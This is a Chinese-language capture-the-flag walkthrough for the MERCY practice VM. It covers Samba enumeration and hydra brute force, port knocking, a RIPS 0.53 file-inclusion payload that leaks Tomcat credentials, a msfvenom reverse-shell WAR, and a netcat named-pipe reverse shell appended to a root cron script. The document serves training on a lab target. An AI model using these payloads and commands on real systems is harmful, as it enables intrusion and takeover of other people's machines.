0x01 前言
MERCY是一個致力於PWK課程安全的靶機系統。MERCY是一款游戲名稱，與易受攻擊的靶機名稱無關。本次實驗是攻擊目標靶機獲取root權限並讀系統目錄中的proof.txt信息
靶機的下載地址：
https://drive.google.com/uc?id=1YzsW1lCKjo_WEr6Pk511DXQBFyMMR14y&export=download（注意確認下載鏡像中MERCY.mf的sha256值是否正確）
0x02 信息收集
1.存活主機掃描
root@kali2018:~#arp-scan -l
發現192.168.1.12就是目標靶機系統
2.端口掃描
通過NAMP對目標靶機進行端口掃描
root@kali2018:~# nmap -A192.168.1.12 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST Nmap scan report for 192.168.1.12 Host is up (0.00091s latency). Not shown: 990 closed ports PORT STATESERVICE VERSION 22/tcp filtered ssh 53/tcp opendomain ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3ubuntu0.17-Ubuntu 80/tcp filtered http 110/tcp openpop3? 139/tcp opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp openimap Dovecot imapd |_ssl-date: TLS randomness does not represent time 445/tcp opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 993/tcp openssl/imap Dovecot imapd |_imap-capabilities: CAPABILITY | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-08-24T13:22:55 |_Not valid after: 2028-08-23T13:22:55 |_ssl-date: TLS randomness does not represent time 995/tcp openssl/pop3s? | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-08-24T13:22:55 |_Not valid after: 2028-08-23T13:22:55 |_ssl-date: TLS randomness does not represent time 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat MAC Address: 00:0C:29:91:A0:C6 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s |_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: mercy | NetBIOS computer name: MERCY\x00 | Domain name: \x00 | FQDN: mercy |_ System time: 2019-02-12T22:57:54+08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-02-12 09:57:54 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.91 ms 192.168.1.12 OS and Service detection performed. Please report any incorrec
發現目標端口445,8080等端口開放.其他如22,80被防火牆阻斷.其中samba服務已開啟(這是本文重點滲透目標)
0x03漏洞利用
無論在任何情況下，我們首先攻擊的應用目標是Apache
Tomcat(http://192.168.1.12:8080/)
嘗試訪問tomcat后台管理頁面，但需要輸入正確的用戶名和密碼方可登陸。嘗試輸入各種已知的信息但還是無法進入。注意到其用戶的配置信息在/etc/tomcat7/tomcat-users.xml中。
1.Samba漏洞攻擊
通過smbclient命令列出目標靶機中可用的Samba服務共享名.
root@kali2018:~# smbclient -NL 192.168.1.12
可從上圖中看到共享的幾個名稱,下面將掛載其共享目錄到本地,但還是不允許訪問目標共享,這里需身份認證。
root@kali2018:~# mkdir /mnt/file root@kali2018:~# mount -tcifs 192.168.1.12:/qiu /mnt/file
2.enum4linux枚舉Samba賬號
root@kali2018:~# enum4linux -U -o 192.168.1.12
讓我們將枚舉出來的賬號(qiu和pleadformercy)添加到mercy.txt中，並對其賬號進行爆破。
3.samba賬號爆破
root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139
可發現成功爆破出qiu的賬號，密碼為空
4.mount命令掛載目錄
root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu
列出掛載目錄下的文件信息
5.private目錄信息收集
發現.private目錄提供了一些重要系統信息
root@kali2018:~# cd /mnt/file/ root@kali2018:/mnt/file# cd .private root@kali2018:/mnt/file/.private# ls opensesame readme.txtsecrets root@kali2018:/mnt/file/.private# cd opensesame/ root@kali2018:/mnt/file/.private/opensesame# ls config configprint root@kali2018:/mnt/file/.private/opensesame# head -30 config Here are settings for your perusal. Port Knocking Daemon Configuration [options] UseSyslog [openHTTP] sequence = 159,27391,4 seq_timeout = 100 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT tcpflags = syn [closeHTTP] sequence = 4,27391,159 seq_timeout = 100 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT tcpflags = syn [openSSH] sequence = 17301,28504,9999 seq_timeout = 100 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9999,28504,17301 seq_timeout = 100 command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
上面顯示了端口啟動守護進程的防火牆端口開放的命令配置.
6.打開目標靶機防火牆端口
看到兩組sequence，一組用於HTTP，另一組用於SSH。
（1）http的sequence腳本：
kncok.sh
#!/bin/bash for PORT in 159 27391 4;do nmap -Pn 192.168.1.12 -p $PORT; done
（2）SSH的sequence腳本：
kncok1.sh
#!/bin/bash for PORT in 17301 28504 9999;do nmap -Pn 192.168.1.12 -p $PORT; done
（3）通過sequence腳本來打開HTTP的端口
root@kali2018:~# ./knoch.sh Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00044s latency). PORT STATESERVICE 159/tcp closed nss-routing MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00053s latency). PORT STATE SERVICE 27391/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00042s latency). PORT STATESERVICE 4/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
（4）通過sequence腳本來打開SSH的端口
root@kali2018:~# ./knoch1.sh Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00049s latency). PORT STATESERVICE 17301/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00042s latency). PORT STATESERVICE 28504/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00031s latency). PORT STATESERVICE 9999/tcp closed abyss MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
通過以上命令開放了80和22端口,現在在kali系統下打開80端口網站。
7.目錄掃描
通過目錄工具dirb對目標靶機系統80端口網站進行掃描，發現存在robots.txt文件
root@kali2018:~# dirb http://192.168.1.12
打開robots.txt的連接地址，發現一個有趣的目錄/omercy
打開該目錄網站，可發現RIPS 0.53版本存在
8.RIPS漏洞收集
根據EDB-ID 18660，RIPS 0.53易受本地文件包含（LFI）漏洞影響。（RIPS 0.53 LFI)
在 exploit-db 中搜索RIPS 0.53 漏洞。
https://www.exploit-db.com/exploits/18660
其PoC為:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
可以本地文件包含讀出目標靶機的/etc/passwd的信息。
9.tomcat再次入侵
通過rips的lfi漏洞來本地包含tomcat-users.xml讀取其配置信息。
http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml
此文件泄露了8080端口上運行的tomcat管理后台的用戶名和密碼信息
<? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/> <? <user username="qiu" password="mercyplz" roles="manager-gui"/>
有了登錄憑證，現在可以登錄管理器的webapp來部署惡意webapp，這是一個允許反彈shell的WAR文件。
登陸到管理后台：
http://192.168.1.12:8080/manager/html
目標靶機系統為32位的ubuntu系統
我們可以通過msfvenom命令來生成這樣的war包
root@kali2018:/opt# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21 LPORT=3333 -f war -o shell.war
部署webapp后門文件shell.war
通過7z命令查看war包的內容，可以看到包含了yillzdtgvccxzwp.jsp文件
root@kali2018:/opt# 7z l shell.war
訪問惡意Web應用程序，請在瀏覽器的地址欄中輸入以下內容：
http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp
在攻擊機上執行nc監聽反彈命令並使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’
root@kali2018:/opt# nc -lvvp 3333
以普通用戶權限下查看其falg信息:
tomcat7@MERCY:/$ cat local.txt cat local.txt Plz have mercy on me! :-( :-( tomcat7@MERCY:/$
0x04 權限提升
可以通過從tomcat-users.xml中搜索到登錄帳戶qiu。在信息收集的同時還發現了將權限提升為root的方法。有一個腳本/home/qiu/.private/secrets/timeclock將每隔三分鍾，以root權限運行並寫入到目錄/var/www/html/time中。
tomcat7@MERCY:/$su qiu qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock ls -al /home/qiu/.private/secrets/timeclock -rwxrwxrwx 1 root root 222 Aug 31 00:47 /home/qiu/.private/secrets/timeclock qiu@MERCY:~/.private/secrets$ cat timeclock #!/bin/bash now=$(date) echo "The system time is: $now." > ../../../../../var/www/html/time echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time chown www-data:www-data ../../../../../var/www/html/time
將以下命令添加到腳本timclock中，其中NC監聽的IP地址為攻擊機（kali）的IP地址。
qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock <mp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock qiu@MERCY:~/.private/secrets$ cat timeclock cat timeclock #!/bin/bash now=$(date) echo "The system time is: $now." > ../../../../../var/www/html/time echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time chown www-data:www-data ../../../../../var/www/html/time rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p
設置另一個nc監聽,監聽端口為5555,3分鍾后將反彈到目標root shell.並在攻擊機上執行nc監聽反彈命令並使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’
root@kali2018:/mnt/file/.private/opensesame# nc -lvvp 5555 listening on [any] 5555 ... 192.168.1.12: inverse host lookup failed: Unknown host connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 39346 python -c "import pty;pty.spawn('/bin/bash')"
0x05 flag信息查看
進入到root目錄然后查看proof.txt得到flag信息
r
oot@MERCY:~# cd /root cd /root root@MERCY:~# ls ls author-secret.txt configproof.txt root@MERCY:~# cat proof.txt cat proof.txt Congratulations on rooting MERCY. :-) root@MERCY:~#
